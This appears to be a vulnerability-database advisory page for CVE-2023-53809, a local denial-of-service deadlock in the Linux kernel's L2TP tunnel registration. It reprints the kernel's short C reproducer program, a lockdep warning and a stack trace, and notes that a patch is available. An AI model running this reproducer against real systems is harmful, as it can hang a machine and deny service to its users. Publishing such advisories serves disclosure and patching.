CVE-2023-53809 l2tp: Avoid possible recursive deadlock in l2tp_tunnel_register()
A local attacker can cause a kernel deadlock in the L2TP tunnel registration by passing a specific socket file descriptor, leading to denial of service.
- Exploited in the wild
- Not known
- Login needed
- Any signed-in user
- Attackable
- Local or same network only
- Victim action needed
- Not needed
- Fix
- Available
What is CVE-2023-53809?
CVE-2023-53809 is a vulnerability in Linux, published on 9 Dec 2025. It can only be exploited from the same machine or local network, with no action from the victim.
Official description
In the Linux kernel, the following vulnerability has been resolved:
l2tp: Avoid possible recursive deadlock in l2tp_tunnel_register()
When a file descriptor of pppol2tp socket is passed as file descriptor of UDP socket, a recursive deadlock occurs in l2tp_tunnel_register(). This situation is reproduced by the following program:
int main(void) { int sock; struct sockaddr_pppol2tp addr;
sock = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP); if (sock < 0) { perror("socket"); return 1; }
addr.sa_family = AF_PPPOX; addr.sa_protocol = PX_PROTO_OL2TP; addr.pppol2tp.pid = 0; addr.pppol2tp.fd = sock; addr.pppol2tp.addr.sin_family = PF_INET; addr.pppol2tp.addr.sin_port = htons(0); addr.pppol2tp.addr.sin_addr.s_addr = inet_addr("192.168.0.1"); addr.pppol2tp.s_tunnel = 1; addr.pppol2tp.s_session = 0; addr.pppol2tp.d_tunnel = 0; addr.pppol2tp.d_session = 0;
if (connect(sock, (const struct sockaddr *)&addr, sizeof(addr)) < 0) { perror("connect"); return 1; }
return 0; }
This program causes the following lockdep warning:
============================================ WARNING: possible recursive locking detected 6.2.0-rc5-00205-gc96618275234 #56 Not tainted -------------------------------------------- repro/8607 is trying to acquire lock: ffff8880213c8130 (sk_lock-AF_PPPOX){+.+.}-{0:0}, at: l2tp_tunnel_register+0x2b7/0x11c0
but task is already holding lock: ffff8880213c8130 (sk_lock-AF_PPPOX){+.+.}-{0:0}, at: pppol2tp_connect+0xa82/0x1a30
other info that might help us debug this: Possible unsafe locking scenario:
CPU0 ---- lock(sk_lock-AF_PPPOX); lock(sk_lock-AF_PPPOX);
*** DEADLOCK ***
May be due to missing lock nesting notation
1 lock held by repro/8607: #0: ffff8880213c8130 (sk_lock-AF_PPPOX){+.+.}-{0:0}, at: pppol2tp_connect+0xa82/0x1a30
stack backtrace: CPU: 0 PID: 8607 Comm: repro Not tainted 6.2.0-rc5-00205-gc96618275234 #56 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.1-2.fc37 04/01/2014 Call Trace: <TASK> dump_stack_lvl+0x100/0x178 __lock_acquire.cold+0x119/0x3b9 ? lockdep_hardirqs_on_prepare+0x410/0x410 lock_acquire+0x1e0/0x610 ? l2tp_tunnel_register+0x2b7/0x11c0 ? lock_downgrade+0x710/0x710 ? __fget_files+0x283/0x3e0 lock_sock_nested+0x3a/0xf0 ? l2tp_tunnel_register+0x2b7/0x11c0 l2tp_tunnel_register+0x2b7/0x11c0 ? sprintf+0xc4/0x100 ? l2tp_tunnel_del_work+0x6b0/0x6b0 ? debug_object_deactivate+0x320/0x320 ? lockdep_init_map_type+0x16d/0x7a0 ? lockdep_init_map_type+0x16d/0x7a0 ? l2tp_tunnel_create+0x2bf/0x4b0 ? l2tp_tunnel_create+0x3c6/0x4b0 pppol2tp_connect+0x14e1/0x1a30 ? pppol2tp_put_sk+0xd0/0xd0 ? aa_sk_perm+0x2b7/0xa80 ? aa_af_perm+0x260/0x260 ? bpf_lsm_socket_connect+0x9/0x10 ? pppol2tp_put_sk+0xd0/0xd0 __sys_connect_file+0x14f/0x190 __sys_connect+0x133/0x160 ? __sys_connect_file+0x190/0x190 ? lockdep_hardirqs_on+0x7d/0x100 ? ktime_get_coarse_real_ts64+0x1b7/0x200 ? ktime_get_coarse_real_ts64+0x147/0x200 ? __audit_syscall_entry+0x396/0x500 __x64_sys_connect+0x72/0xb0 do_syscall_64+0x38/0xb0 entry_SYSCALL_64_after_hwframe+0x63/0xcd
This patch fixes the issue by getting/creating the tunnel before locking the pppol2tp socket.
Which versions are affected by CVE-2023-53809?
How do I fix CVE-2023-53809?
Apply the vendor's patch.
Is CVE-2023-53809 being exploited?
There is no known exploitation of CVE-2023-53809 in the wild and no public exploit code.
Sources
Also known as BELL-CVE-2023-53809, DEBIAN-CVE-2023-53809, GHSA-f2xq-v5p2-cqjf, UBUNTU-CVE-2023-53809.